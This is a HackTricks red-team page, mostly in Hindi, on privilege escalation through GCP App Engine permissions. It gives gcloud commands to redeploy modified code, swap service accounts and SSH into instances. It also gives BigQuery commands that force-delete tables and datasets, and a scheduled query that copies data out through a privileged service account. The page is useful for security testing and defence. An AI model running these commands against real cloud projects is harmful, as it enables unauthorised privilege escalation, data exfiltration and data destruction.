GCP - AppEngine Privesc

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

App Engine

App Engine के बारे में अधिक जानकारी के लिए देखें:

GCP - App Engine Enum

appengine.applications.get, appengine.instances.get, appengine.instances.list, appengine.operations.get, appengine.operations.list, appengine.services.get, appengine.services.list, appengine.versions.create, appengine.versions.get, appengine.versions.list, cloudbuild.builds.get,iam.serviceAccounts.actAs, resourcemanager.projects.get, storage.objects.create, storage.objects.list

ये permissions gcloud cli का उपयोग करके App को डिप्लॉय करने के लिए आवश्यक हैं। शायद get और list वाले permissions को छोड़ा जा सकता है।

You can find python code examples in https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine

By default, the name of the App service is going to be default, and there can be only 1 instance with the same name.
इसे बदलने और दूसरा App बनाने के लिए, app.yaml में, root key के value को कुछ इस तरह बदलें: service: my-second-app

cd python-docs-samples/appengine/flexible/hello_world
gcloud app deploy #Upload and start application inside the folder

इसे कम से कम 10–15 मिनट दें; अगर यह काम नहीं करता तो deploy को कई बार चलाएँ और कुछ मिनट प्रतीक्षा करें।

Note

यह संभव है कि उपयोग करने के लिए Service Account निर्दिष्ट किया जाए, पर डिफ़ॉल्ट रूप से App Engine का डिफ़ॉल्ट SA उपयोग किया जाता है।

एप्लिकेशन का URL कुछ ऐसा होगा https://<proj-name>.oa.r.appspot.com/ या https://<service_name>-dot-<proj-name>.oa.r.appspot.com

समकक्ष अनुमतियाँ अपडेट करें

आपके पास संभवतः एक AppEngine को अपडेट करने के लिए पर्याप्त अनुमतियाँ हो सकती हैं, पर एक नया बनाने के लिए नहीं। ऐसी स्थिति में आप वर्तमान App Engine को इस तरह अपडेट कर सकते हैं:

# Find the code of the App Engine in the buckets
gsutil ls

# Download code
mkdir /tmp/appengine2
cd /tmp/appengine2
## In this case it was found in this custom bucket but you could also use the
## buckets generated when the App Engine is created
gsutil cp gs://appengine-lab-1-gcp-labs-4t04m0i6-3a97003354979ef6/labs_appengine_1_premissions_privesc.zip .
unzip labs_appengine_1_premissions_privesc.zip

## Now modify the code..

## If you don't have an app.yaml, create one like:
cat >> app.yaml <<EOF
runtime: python312

entrypoint: gunicorn -b :\$PORT main:app

env_variables:
A_VARIABLE: "value"
EOF

# Deploy the changes
gcloud app deploy

# Update the SA if you need it (and if you have actas permissions)
gcloud app update --service-account=<sa>@$PROJECT_ID.iam.gserviceaccount.com

यदि आपने पहले से ही एक AppEngine compromised कर लिया है और आपके पास permission appengine.applications.update और उपयोग करने के लिए service account पर actAs है, तो आप AppEngine द्वारा उपयोग किए जाने वाले service account को निम्नलिखित के साथ संशोधित कर सकते हैं:

gcloud app update --service-account=<sa>@$PROJECT_ID.iam.gserviceaccount.com

appengine.instances.enableDebug, appengine.instances.get, appengine.instances.list, appengine.operations.get, appengine.services.get, appengine.services.list, appengine.versions.get, appengine.versions.list, compute.projects.get

इन permissions के साथ, यह संभव है कि आप App Engine instances में ssh के माध्यम से login कर सकें जो प्रकार के flexible हैं (not standard). कुछ list और get permissions वास्तव में आवश्यक नहीं हो सकते।

gcloud app instances ssh --service <app-name> --version <version-id> <ID>

appengine.applications.update, appengine.operations.get

मुझे लगता है कि यह बस उस background SA को बदलता है जिसे google applications सेटअप करने के लिए उपयोग करेगा, इसलिए मैं नहीं सोचता कि आप इसे service account चुराने के लिए दुरुपयोग कर सकते हैं।

gcloud app update --service-account=<sa_email>

appengine.versions.getFileContents, appengine.versions.update

मालूम नहीं कि इन permissions का उपयोग कैसे करना है या ये कितने उपयोगी हैं (नोट: जब आप code बदलते हैं तो एक नया version बन जाता है, इसलिए मुझे पता नहीं कि क्या आप सिर्फ code या किसी का IAM role अपडेट कर सकते हैं, लेकिन मेरा मानना है कि आप कर सकते हैं — शायद bucket के अंदर code बदल कर??)।

bigquery.tables.delete, bigquery.datasets.delete & bigquery.models.delete (bigquery.models.getMetadata)

tables, dataset या models हटाने के लिए:

# Table removal
bq rm -f -t <PROJECT_ID>.<DATASET>.<TABLE_NAME>

# Dataset removal
bq rm -r -f <PROJECT_ID>:<DATASET>

# Model removal
bq rm -m <PROJECT_ID>:<DATASET_NAME>.<MODEL_NAME>

Abuse of Scheduled Queries

यदि किसी identity के पास bigquery.datasets.get, bigquery.jobs.create, और iam.serviceAccounts.actAs permissions हों, तो वह dataset के metadata को query कर सकता है, BigQuery jobs लॉन्च कर सकता है, और उन्हें किसी उच्च-privilege वाले Service Account का उपयोग करके execute कर सकता है।

यह attack Scheduled Queries का दुरुपयोग करके queries को automate करने की अनुमति देता है (जो चुने हुए Service Account के अंतर्गत चलेंगी), जिससे उदाहरण के लिए संवेदनशील डेटा को पढ़ा जा सकता है और दूसरे table या dataset में लिखा जा सकता है, जिन तक attacker को पहुँच होती है—जिससे बिना डेटा को बाहरी रूप से निकालने की आवश्यकता के, अप्रत्यक्ष और लगातार exfiltration सम्भव हो जाता है।

एक बार attacker को पता चल जाए कि कौन सा Service Account आवश्यक permissions रखता है जिससे इच्छित query execute की जा सके, तो वे एक Scheduled Query configuration बना सकते हैं जो उस Service Account के साथ चले और परिणामों को समय-समय पर उनकी चुनी हुई dataset में लिखे।

bq mk \
--transfer_config \
--project_id=<PROJECT_ID> \
--location=US \
--data_source=scheduled_query \
--target_dataset=<DEST_DATASET> \
--display_name="Generic Scheduled Query" \
--service_account_name="<SERVICE_ACCOUNT>@<PROJECT_ID>.iam.gserviceaccount.com" \
--schedule="every 10 minutes" \
--params='{
"query": "SELECT * FROM `<PROJECT_ID>.<SOURCE_DATASET>.<source_table>`;",
"destination_table_name_template": "<destination_table>",
"write_disposition": "WRITE_TRUNCATE"
}'

बकेट्स पर Write Access

जैसा कि पहले बताया गया है, appengine versions एक bucket के अंदर कुछ डेटा जनरेट करते हैं जिसका नाम इस फॉर्मेट में होता है: staging.<project-id>.appspot.com। ध्यान दें कि इस bucket को पहले से takeover करना संभव नहीं है क्योंकि GCP users को appspot.com डोमेन नाम का उपयोग करके buckets generate करने की अनुमति नहीं है।

हालाँकि, इस bucket पर read & write access होने पर, bucket को मॉनिटर करके और किसी भी बदलाव के समय कोड को यथासंभव तेज़ी से modify करके AppEngine version से जुड़े SA के privileges escalate करना संभव है। इस तरह, उस कोड से बने container execute the backdoored code करेगा।

For more information and a PoC check the relevant information from this page:

GCP - Storage Privesc

Artifact Registry पर Write Access

यद्यपि App Engine Artifact Registry के अंदर docker images बनाता है। परीक्षण में पाया गया कि even if you modify the image inside this service और App Engine instance को हटाने (ताकि नया तैनात हो) के बाद भी code executed doesn’t change।
It might be possible that performing a Race Condition attack like with the buckets it might be possible to overwrite the executed code, but this wasn’t tested.

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें